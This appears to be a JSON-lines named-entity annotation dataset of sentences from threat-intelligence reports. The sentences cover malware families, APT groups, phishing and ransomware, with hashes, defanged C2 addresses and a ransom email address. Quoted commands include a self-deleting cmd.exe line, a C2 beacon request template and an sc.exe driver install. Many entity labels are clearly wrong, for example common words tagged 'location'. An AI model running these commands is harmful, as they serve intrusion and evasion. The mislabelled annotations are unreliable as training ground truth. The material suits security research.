{"id":3384,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d  flash.exe","entities":[{"id":10232,"label":"malware","start_offset":0,"end_offset":11},{"id":10233,"label":"SHA2","start_offset":46,"end_offset":110},{"id":49035,"label":"malware","start_offset":20,"end_offset":44},{"id":49036,"label":"FILEPATH","start_offset":112,"end_offset":121}],"relations":[{"id":582,"from_id":10232,"to_id":49035,"type":"duplicate-of"},{"id":583,"from_id":49036,"to_id":10233,"type":"duplicate-of"},{"id":584,"from_id":49036,"to_id":49035,"type":"indicates"},{"id":585,"from_id":10233,"to_id":49035,"type":"indicates"}],"Comments":[]}
{"id":10739,"text":"SteganographyDaserf\u2019s infection chain accordingly evolved, as shown below.","entities":[],"relations":[],"Comments":[]}
{"id":4770,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":50674,"label":"SOFTWARE","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]}
{"id":11053,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":13627,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":4578,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50429,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]}
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{"id":4976,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[],"relations":[],"Comments":[]}
{"id":7180,"text":"On June 21, we found that the website of a Korean non-profit organization was compromised with an injected script that collected visitors\u2019 information.","entities":[],"relations":[],"Comments":[]}
{"id":3186,"text":"This step is likely designed to avoid attacking an already infected victim.","entities":[],"relations":[],"Comments":[]}
{"id":493,"text":" Figure 1: Bogus patch installer overlying malware requesting administrative permissions  This interaction can install malware or malicious software on the device, grant malware full administrative privileges or lock the user out and render the device unusable.  In the past successful overlay attacks were typically dependent on two conditions:  However, with this particular vulnerability, these conditions are no longer required for a successful attack.","entities":[],"relations":[],"Comments":[]}
{"id":1823,"text":"We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\\windows\\aswArPot.sys type= kernel.","entities":[{"id":46957,"label":"FILEPATH","start_offset":60,"end_offset":72},{"id":46958,"label":"FILEPATH","start_offset":92,"end_offset":98},{"id":46959,"label":"FILEPATH","start_offset":129,"end_offset":152},{"id":46960,"label":"SOFTWARE","start_offset":12,"end_offset":37}],"relations":[{"id":279,"from_id":46960,"to_id":46957,"type":"consists-of"}],"Comments":[]}
{"id":8824,"text":"While it\u2019s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we\u2019ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":27333,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":27334,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
{"id":689,"text":"RTF files will look exactly like regular Word documents  ","entities":[{"id":46268,"label":"SOFTWARE","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
{"id":3232,"text":"This file is a marker to determine if the scheduled task of the backdoor has been installed.","entities":[],"relations":[],"Comments":[]}
{"id":7986,"text":"Cookie Theft, also known as \u201cpass-the-cookie attack,\u201d is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":24762,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
{"id":12667,"text":"Activate sandbox analysis.","entities":[],"relations":[],"Comments":[]}
{"id":4955,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":50980,"label":"threat-actor","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
{"id":4237,"text":"Microsoft Powerpoint presentation .png, .jpg, .jpeg Image file .pst, .ost Microsoft Outlook file .csv","entities":[],"relations":[],"Comments":[]}
{"id":1443,"text":"The only way to update an app is for the developer to sign the update with the same digital certificate originally used to publish the app.","entities":[{"id":47145,"label":"identity","start_offset":41,"end_offset":51}],"relations":[],"Comments":[]}
{"id":3699,"text":"The group also evades virtualization and sandboxes and injects malicious code into hollowed processes to dodge process-based defenses.","entities":[{"id":49498,"label":"attack-pattern","start_offset":15,"end_offset":50},{"id":49499,"label":"attack-pattern","start_offset":56,"end_offset":77}],"relations":[],"Comments":[]}
{"id":1,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  CTB-Locker is a well-known ransomware Trojan used by crimeware groups to encrypt files on the victim's endpoints and demand ransom payment to decrypt the files back to their original state, but most antiviruses detect it by mistake as CryptoLocker (only one vendor correctly detects it as CTB-Locker).","entities":[{"id":45800,"label":"malware","start_offset":288,"end_offset":300},{"id":45801,"label":"malware","start_offset":53,"end_offset":63},{"id":45802,"label":"malware","start_offset":342,"end_offset":352}],"relations":[],"Comments":[]}
{"id":1906,"text":"  File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz,  .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg   ","entities":[{"id":47031,"label":"SOFTWARE","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]}
{"id":7144,"text":"During our investigation, we found some old samples that fit in these categories but have not been reported.","entities":[],"relations":[],"Comments":[]}
{"id":10099,"text":"According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020.","entities":[],"relations":[],"Comments":[]}
{"id":1068,"text":"In particular, this means that malicious apps from websites and app stores other than Google Play can carry out overlay attacks.","entities":[{"id":46552,"label":"SOFTWARE","start_offset":86,"end_offset":98}],"relations":[],"Comments":[]}
{"id":2685,"text":" There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.","entities":[{"id":47894,"label":"SOFTWARE","start_offset":109,"end_offset":114},{"id":45657,"label":"threat-actor","start_offset":32,"end_offset":44}],"relations":[],"Comments":[]}
{"id":6435,"text":"The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.","entities":[{"id":20029,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":20030,"label":"location","start_offset":20,"end_offset":23},{"id":20031,"label":"location","start_offset":24,"end_offset":28},{"id":20033,"label":"location","start_offset":158,"end_offset":164},{"id":20034,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
{"id":6013,"text":"In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.","entities":[{"id":18557,"label":"location","start_offset":16,"end_offset":24},{"id":18558,"label":"location","start_offset":52,"end_offset":56},{"id":18559,"label":"attack-pattern","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
{"id":13116,"text":"Marketplaces like the one offered by AWS make it a lot easier to get the right security tools in the hands of those that need them most.","entities":[{"id":48901,"label":"SOFTWARE","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
{"id":13728,"text":"The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&C server).","entities":[{"id":42688,"label":"SHA2","start_offset":98,"end_offset":162},{"id":42689,"label":"IPV4","start_offset":194,"end_offset":210}],"relations":[],"Comments":[]}
{"id":11516,"text":"They also conduct corporate espionage, handily obscuring their clients\u2019 role.","entities":[],"relations":[],"Comments":[]}
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{"id":13628,"text":"XOR routine that encrypts C&C communication      Figure 17.","entities":[],"relations":[],"Comments":[]}
{"id":3473,"text":"The C&C server will send Protux to the victim\u2019s host and execute it.","entities":[{"id":49272,"label":"malware","start_offset":25,"end_offset":31}],"relations":[],"Comments":[]}
{"id":14115,"text":"It is fair to assume that the developers work on daily working times.","entities":[],"relations":[],"Comments":[]}
{"id":3348,"text":"The Cobalt Strike loader, which has a PDB string \u201cC:\\Users\\test\\Desktop\\fishmaster\\x64\\Release\\fishmaster.pdb\u201d, connects to the C&C server \u201cdownload[.]google-images[.]ml\u201d.","entities":[{"id":48959,"label":"tools","start_offset":4,"end_offset":17},{"id":48960,"label":"FILEPATH","start_offset":50,"end_offset":109},{"id":48961,"label":"DOMAIN","start_offset":140,"end_offset":169}],"relations":[{"id":511,"from_id":48960,"to_id":48959,"type":"indicates"},{"id":514,"from_id":48959,"to_id":48961,"type":"beacons-to"}],"Comments":[]}
{"id":4043,"text":"The command for execution is shown as here: > Nerapack.exe {base64 encoded key}","entities":[{"id":49894,"label":"FILEPATH","start_offset":46,"end_offset":58}],"relations":[],"Comments":[]}
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{"id":2815,"text":"WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.","entities":[{"id":48032,"label":"malware","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]}
{"id":3145,"text":"AWS starts with the customer and works backwards.","entities":[{"id":48267,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":11332,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":34614,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]}
{"id":13612,"text":"After extracting the content of the Adob.dll zip archive, two legitimate and signed executable files are present and executed, and a similar sideloading process happens once more.","entities":[{"id":51701,"label":"FILEPATH","start_offset":36,"end_offset":45}],"relations":[],"Comments":[]}
{"id":7697,"text":"Encrypted string We observed that some of the samples still had errors in the cipher routine.","entities":[],"relations":[],"Comments":[]}
{"id":2911,"text":"The many similarities between these exploits lead us to believe they were written by the same actor or group.","entities":[],"relations":[],"Comments":[]}
{"id":13577,"text":"The script to create and delete fake login form for credential phishing     The other approach involves showing an authorization error message and then redirecting the user to a phishing website that asks users to enter their credentials.","entities":[{"id":51659,"label":"attack-pattern","start_offset":178,"end_offset":186},{"id":51658,"label":"attack-pattern","start_offset":52,"end_offset":71}],"relations":[],"Comments":[]}
{"id":114,"text":"From there, you can work backwards to develop your strategy for protecting those initial access areas tied to the different attacks.","entities":[],"relations":[],"Comments":[]}
{"id":13688,"text":"The email in question is an invoice request that has a legitimate email header, which is a known tactic used in BEC scams.","entities":[{"id":51753,"label":"attack-pattern","start_offset":112,"end_offset":121}],"relations":[],"Comments":[]}
{"id":752,"text":"This mechanism prevents precise control of the data of a freed object from further exploitation.","entities":[],"relations":[],"Comments":[]}
{"id":3214,"text":"At the time of our research into this threat, only the \u201cprint(1)\u201d command is able to be executed.","entities":[],"relations":[],"Comments":[]}
{"id":14365,"text":"Countermeasures","entities":[],"relations":[],"Comments":[]}
{"id":1511,"text":" There exist two embedded zlib-encrypted blocks at file offset 0x8C0C0 and 0xE6B40 respectively.","entities":[{"id":4493,"label":"tools","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
{"id":6822,"text":"Trend Micro\u2122 Hosted Email Securityis a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":21211,"label":"location","start_offset":54,"end_offset":59},{"id":21212,"label":"location","start_offset":104,"end_offset":114},{"id":21213,"label":"malware","start_offset":118,"end_offset":122},{"id":21214,"label":"attack-pattern","start_offset":138,"end_offset":152},{"id":21215,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
{"id":2027,"text":"While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk\/Babyk source code in order to develop the HelloXD ransomware (Figure 7).","entities":[{"id":47122,"label":"malware","start_offset":203,"end_offset":210},{"id":47121,"label":"malware","start_offset":161,"end_offset":166},{"id":47120,"label":"malware","start_offset":155,"end_offset":160}],"relations":[{"id":303,"from_id":47121,"to_id":47122,"type":"variant-of"},{"id":304,"from_id":47120,"to_id":47122,"type":"variant-of"}],"Comments":[]}
{"id":4607,"text":" Using the Trend Micro Vision One Workbench, you can easily see what threats were detected, attack techniques, and a prioritized list of risky devices and users.","entities":[{"id":50508,"label":"SOFTWARE","start_offset":11,"end_offset":43}],"relations":[],"Comments":[]}
{"id":3279,"text":"The malicious actor can then connect to the relevant RTMP address to watch the streaming.","entities":[],"relations":[],"Comments":[]}
{"id":10341,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
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{"id":3690,"text":"To elevate privileges, the groups bypass Windows User Account Control (UAC) mechanisms, new services, and valid accounts to elevate process privileges.","entities":[{"id":49482,"label":"attack-pattern","start_offset":34,"end_offset":75}],"relations":[],"Comments":[]}
{"id":14396,"text":"In the game of measure-countermeasure that is cybersecurity today and tomorrow, XDR is the next evolutionary step in dealing with more evasive threats.","entities":[{"id":51774,"label":"SOFTWARE","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
{"id":4779,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations \u2013 in other words, the users who are frequently targeted by surveillance tools.","entities":[],"relations":[],"Comments":[]}
{"id":107,"text":"This use of known, legitimate tools is not new; we call that \u201cliving off the land\u201d and have seen this tactic pick up recently, including usage by ransomware actors.","entities":[{"id":45838,"label":"tools","start_offset":62,"end_offset":81}],"relations":[],"Comments":[]}
{"id":8254,"text":"DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.","entities":[{"id":25489,"label":"location","start_offset":65,"end_offset":70},{"id":25490,"label":"attack-pattern","start_offset":71,"end_offset":79},{"id":25491,"label":"location","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]}
{"id":3137,"text":"Attackers use them to take down websites for several reasons:  About Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
{"id":4233,"text":"After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the \u201csvctrls\u201d malware described in our previous blogpost.","entities":[{"id":50043,"label":"malware","start_offset":95,"end_offset":109}],"relations":[],"Comments":[]}
{"id":3004,"text":"All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services.","entities":[{"id":48120,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":48119,"label":"SOFTWARE","start_offset":25,"end_offset":32},{"id":48121,"label":"SOFTWARE","start_offset":42,"end_offset":46}],"relations":[],"Comments":[]}
{"id":4088,"text":"While the Windows service \u201cIKEEXT\u201d is starting, the fake wlbsctrl.dll is loaded and executed with high privilege.","entities":[],"relations":[],"Comments":[]}
{"id":3532,"text":"Its apparent staying power stems from the furtive ways with which its attacks can evade traditional security solutions.","entities":[],"relations":[],"Comments":[]}
{"id":1693,"text":"Security awareness is critical to avoid falling victim to such an attack.","entities":[],"relations":[],"Comments":[]}
{"id":2207,"text":" In total, the following 14 functions are loaded during runtime:  ","entities":[],"relations":[],"Comments":[]}
{"id":2999,"text":"When we think about home entertainment, there\u2019s really two things you need to think about with security.","entities":[],"relations":[],"Comments":[]}
{"id":2825,"text":"One thing reports have indicated that make this attack unique is a \u201ckillswitch\u201d capability built into the malware.","entities":[],"relations":[],"Comments":[]}
{"id":3728,"text":"      Tags  Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
{"id":7128,"text":"We found three new samples of the Type 1 malware family that abuses Dropbox as a secondary C&C channel, which we described in our Operation DRBControl whitepaper.","entities":[{"id":22294,"label":"location","start_offset":34,"end_offset":38},{"id":22295,"label":"malware","start_offset":68,"end_offset":75}],"relations":[],"Comments":[]}
{"id":1138,"text":" However, this particular mutex was associated with only a recent subset of the Allaple family.","entities":[{"id":46572,"label":"malware","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
{"id":10946,"text":" SHA256  Description","entities":[],"relations":[],"Comments":[]}
{"id":7536,"text":"For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.","entities":[{"id":23403,"label":"attack-pattern","start_offset":8,"end_offset":18},{"id":23406,"label":"location","start_offset":180,"end_offset":187},{"id":23407,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
{"id":1191,"text":"However, an increasingly popular method uses premium SMS.","entities":[],"relations":[],"Comments":[]}
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{"id":13916,"text":"It also uses this information to determine the amount of ransom to demand, with a typical ransom demand amounting to anywhere between US$200,000 and US$2 million.","entities":[],"relations":[],"Comments":[]}
{"id":13044,"text":"Delivered as part of its industry-leading platform, Cloud One \u2013 Application Security provides code-level visibility and protection against the latest cyber threats.","entities":[],"relations":[],"Comments":[]}
{"id":4536,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":50330,"label":"threat-actor","start_offset":77,"end_offset":86},{"id":50331,"label":"threat-actor","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]}
{"id":10756,"text":"Snapshots of Daserf\u2019s steganographic code generated by their toolkit MitigationSteganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data.","entities":[{"id":32875,"label":"tools","start_offset":13,"end_offset":19},{"id":32876,"label":"location","start_offset":225,"end_offset":228},{"id":32877,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
{"id":1498,"text":"The terms remote administration tool (RAT) and trojan downloader are often used synonymously with such implants.","entities":[],"relations":[],"Comments":[]}
{"id":13987,"text":"XDR fills in those gaps.","entities":[{"id":48777,"label":"SOFTWARE","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":6014,"text":"While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.","entities":[{"id":18560,"label":"location","start_offset":102,"end_offset":107},{"id":18561,"label":"location","start_offset":131,"end_offset":135},{"id":18562,"label":"attack-pattern","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]}
{"id":1777,"text":"One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.","entities":[],"relations":[],"Comments":[]}
{"id":14150,"text":"Gone are the days in which these attacks only target the endpoint, and as such, an expanded connected threat defense is paramount.","entities":[],"relations":[],"Comments":[]}
{"id":11396,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[],"relations":[],"Comments":[]}
{"id":795,"text":"Time will tell.","entities":[],"relations":[],"Comments":[]}
{"id":5058,"text":"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.","entities":[{"id":51163,"label":"SOFTWARE","start_offset":46,"end_offset":51}],"relations":[],"Comments":[]}
{"id":2043,"text":"Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.","entities":[{"id":45229,"label":"SOFTWARE","start_offset":9,"end_offset":19},{"id":45230,"label":"threat-actor","start_offset":119,"end_offset":122},{"id":45231,"label":"SOFTWARE","start_offset":141,"end_offset":151}],"relations":[],"Comments":[]}
{"id":2730,"text":"Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft.","entities":[{"id":45677,"label":"SOFTWARE","start_offset":8,"end_offset":18},{"id":45678,"label":"identity","start_offset":162,"end_offset":171}],"relations":[],"Comments":[]}
{"id":2760,"text":"The good news is that this vulnerability was disclosed responsibly and patches are available for most platforms on the day of the public disclosure.","entities":[],"relations":[],"Comments":[]}
{"id":635,"text":" After the system is compromised the victim is asked to send US $300 in Bitcoin to a specific Bitcoin address and then send an e-mail with the victim\u2019s bitcoin wallet ID to wowsmith123456@posteo[.]net to retrieve their individual decryption key.","entities":[{"id":46226,"label":"SOFTWARE","start_offset":94,"end_offset":101},{"id":46224,"label":"EMAIL","start_offset":173,"end_offset":200},{"id":46225,"label":"SOFTWARE","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
{"id":13180,"text":" The decoy file first drops a flash_en.inf DLL file, which is a USBferry loader, and tries to load the encrypted USBferry malware","entities":[{"id":41126,"label":"location","start_offset":5,"end_offset":10},{"id":41127,"label":"tools","start_offset":64,"end_offset":72},{"id":41128,"label":"location","start_offset":81,"end_offset":84},{"id":41129,"label":"location","start_offset":94,"end_offset":98},{"id":41130,"label":"malware","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
{"id":14330,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]}
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{"id":13472,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":51544,"label":"threat-actor","start_offset":44,"end_offset":59},{"id":51545,"label":"identity","start_offset":111,"end_offset":142}],"relations":[{"id":1101,"from_id":51544,"to_id":51545,"type":"targets"}],"Comments":[]}
{"id":12341,"text":"We haven\u2019t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
{"id":2251,"text":"The following commands are supported:  Once again, using the previous example, the malware will first ensure that the command was not previously parsed\/executed.","entities":[],"relations":[],"Comments":[]}
{"id":13805,"text":"If yes, it modifies the process ID, which should open on another Windows Service PID.","entities":[],"relations":[],"Comments":[]}
{"id":1127,"text":" Full automation is always the ideal but it isn\u2019t always necessary.","entities":[],"relations":[],"Comments":[]}
{"id":11966,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":14157,"text":"The X could be network data, email or web data, data from cloud instances, and others.","entities":[],"relations":[],"Comments":[]}
{"id":3314,"text":"Additional Findings on BIOPASS RAT  ","entities":[{"id":10040,"label":"malware","start_offset":23,"end_offset":34}],"relations":[],"Comments":[]}
{"id":6243,"text":"Based on the number of \u201clikes\u201d the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.","entities":[],"relations":[],"Comments":[]}
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{"id":14348,"text":"The next variant appeared quickly, and it added the following abilities to its routines: Steal information about the device\u2019s clipboard, phone number, installed app list, and accounts.","entities":[],"relations":[],"Comments":[]}
{"id":14064,"text":" Another surprising similarity in the TTPs related to both campaigns is the path pointing to \u201cudel_ok.ipp,\u201d  as shown in Figure 7.","entities":[{"id":47241,"label":"FILEPATH","start_offset":93,"end_offset":107}],"relations":[],"Comments":[]}
{"id":5815,"text":"So cyber is still critical as we become more hyper-connected.","entities":[],"relations":[],"Comments":[]}
{"id":4451,"text":"TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":50228,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":607,"text":" To do this, they make the spam look like something that requires you to click and download something like and invoice, a message, or a delivery notification.","entities":[],"relations":[],"Comments":[]}
{"id":5432,"text":"It\u2019s also important to set reminders to check if devices such as routers, cameras, network-attached storage (NAS) devices, and other IoT devices have been patched or otherwise.","entities":[],"relations":[],"Comments":[]}
{"id":11496,"text":"The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.","entities":[{"id":35161,"label":"threat-actor","start_offset":4,"end_offset":12},{"id":35162,"label":"location","start_offset":13,"end_offset":21},{"id":35164,"label":"location","start_offset":154,"end_offset":159}],"relations":[],"Comments":[]}
{"id":9455,"text":"Stage 3: BasicLoader","entities":[],"relations":[],"Comments":[]}
{"id":1709,"text":"CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.","entities":[{"id":5075,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":12566,"text":"In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.","entities":[],"relations":[],"Comments":[]}
{"id":11754,"text":"During the pandemic, we also uncovered attackers posing as news providers with a \u201cCovid19 news software.\u201d","entities":[],"relations":[],"Comments":[]}
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{"id":2157,"text":"Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).","entities":[],"relations":[],"Comments":[]}
{"id":3694,"text":"After a series of malicious behavior, attackers need to remain stealthy and undetected by using security solutions that can remove threats out of the system.","entities":[],"relations":[],"Comments":[]}
{"id":5397,"text":"This is in line with the increasing number of brute-force attacks performed by other APT groups such as Pawn Storm, a group that has compromised numerous assets like email addresses and email servers of targets that are typically not aligned with Pawn Storm\u2019s objectives.","entities":[{"id":51395,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":51396,"label":"threat-actor","start_offset":247,"end_offset":257}],"relations":[],"Comments":[]}
{"id":235,"text":"We detected 11,637 cybersquatting newly registered domains (NRDs) during February and March.","entities":[{"id":45935,"label":"TIME","start_offset":73,"end_offset":81},{"id":45936,"label":"TIME","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]}
{"id":12910,"text":"Technique: A detection on technique means the detection can be attributed to a specific adversarial action (e.g. credential dumping).","entities":[{"id":40191,"label":"location","start_offset":36,"end_offset":41},{"id":40192,"label":"location","start_offset":56,"end_offset":59},{"id":40193,"label":"location","start_offset":100,"end_offset":106},{"id":40194,"label":"attack-pattern","start_offset":113,"end_offset":131}],"relations":[],"Comments":[]}
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{"id":834,"text":" One key thing that research into these security incidents shows is that these attacks used a relatively new and unknown technique called kernel APC attacks as part of their toolkit.","entities":[{"id":44878,"label":"attack-pattern","start_offset":138,"end_offset":156}],"relations":[],"Comments":[]}
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{"id":3732,"text":" Multiple writeups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18.","entities":[{"id":49537,"label":"TIME","start_offset":117,"end_offset":135},{"id":49538,"label":"identity","start_offset":159,"end_offset":163},{"id":49539,"label":"TIME","start_offset":173,"end_offset":179}],"relations":[],"Comments":[]}
{"id":400,"text":" Existing Xpanse customers can log into Expander and identify their enumerated Atlassian Confluence devices by filtering by \u201cAtlassian Confluence Server\u201d in the Services tab.","entities":[{"id":46099,"label":"SOFTWARE","start_offset":10,"end_offset":16},{"id":46101,"label":"SOFTWARE","start_offset":125,"end_offset":152},{"id":46100,"label":"SOFTWARE","start_offset":79,"end_offset":99}],"relations":[],"Comments":[]}
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{"id":3064,"text":" Figure 4 Hard-coded fake threat detection results  ","entities":[],"relations":[],"Comments":[]}
{"id":6388,"text":" After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.","entities":[{"id":19807,"label":"location","start_offset":38,"end_offset":41},{"id":19808,"label":"tools","start_offset":68,"end_offset":72},{"id":19810,"label":"location","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]}
{"id":13360,"text":"The C&C server 104[.]233[.]224[.]227 was hosted under a small hosting service with only 64 IPs under it.","entities":[{"id":41555,"label":"IPV4","start_offset":15,"end_offset":36},{"id":41556,"label":"location","start_offset":56,"end_offset":61}],"relations":[],"Comments":[]}
{"id":7041,"text":"Windows Management Instrumentation (WMI) will be used to run dlpumgr32.exe with arguments \u201c-up -run -x\u201d and it will exit the current process.","entities":[{"id":22079,"label":"attack-pattern","start_offset":0,"end_offset":34},{"id":22080,"label":"location","start_offset":41,"end_offset":45},{"id":22081,"label":"location","start_offset":104,"end_offset":107},{"id":22082,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
{"id":12994,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":40471,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":40473,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
{"id":7689,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":198,"text":"On Feb. 15, the Cyberpolice of Ukraine reported that residents were actively receiving fake SMS text messages.","entities":[{"id":45894,"label":"TIME","start_offset":3,"end_offset":10},{"id":44614,"label":"identity","start_offset":16,"end_offset":38},{"id":44615,"label":"attack-pattern","start_offset":77,"end_offset":109}],"relations":[],"Comments":[]}
{"id":1406,"text":"In this case the e-mails claim to contain a document about a court case.","entities":[],"relations":[],"Comments":[]}
{"id":2644,"text":" In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.","entities":[{"id":47831,"label":"malware","start_offset":16,"end_offset":27},{"id":47832,"label":"attack-pattern","start_offset":53,"end_offset":65}],"relations":[],"Comments":[]}
{"id":4163,"text":"We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient.","entities":[{"id":49969,"label":"malware","start_offset":95,"end_offset":107}],"relations":[],"Comments":[]}
{"id":4272,"text":"Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was \u201cEnDecrypt\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":1567,"text":"This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.","entities":[{"id":4684,"label":"identity","start_offset":5,"end_offset":12},{"id":4686,"label":"malware","start_offset":82,"end_offset":92}],"relations":[],"Comments":[]}
{"id":2004,"text":" cmd.exe \/C ping 1.1.1[.]1 -n 1 -w 3000 > Nul & Del \/f \/q \"C:\\Users\\admin\\Desktop\\xd.exe\"","entities":[{"id":45219,"label":"FILEPATH","start_offset":59,"end_offset":88},{"id":45220,"label":"FILEPATH","start_offset":1,"end_offset":8},{"id":5931,"label":"tools","start_offset":12,"end_offset":16},{"id":5932,"label":"IPV4","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
{"id":5226,"text":"Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals.","entities":[{"id":51259,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
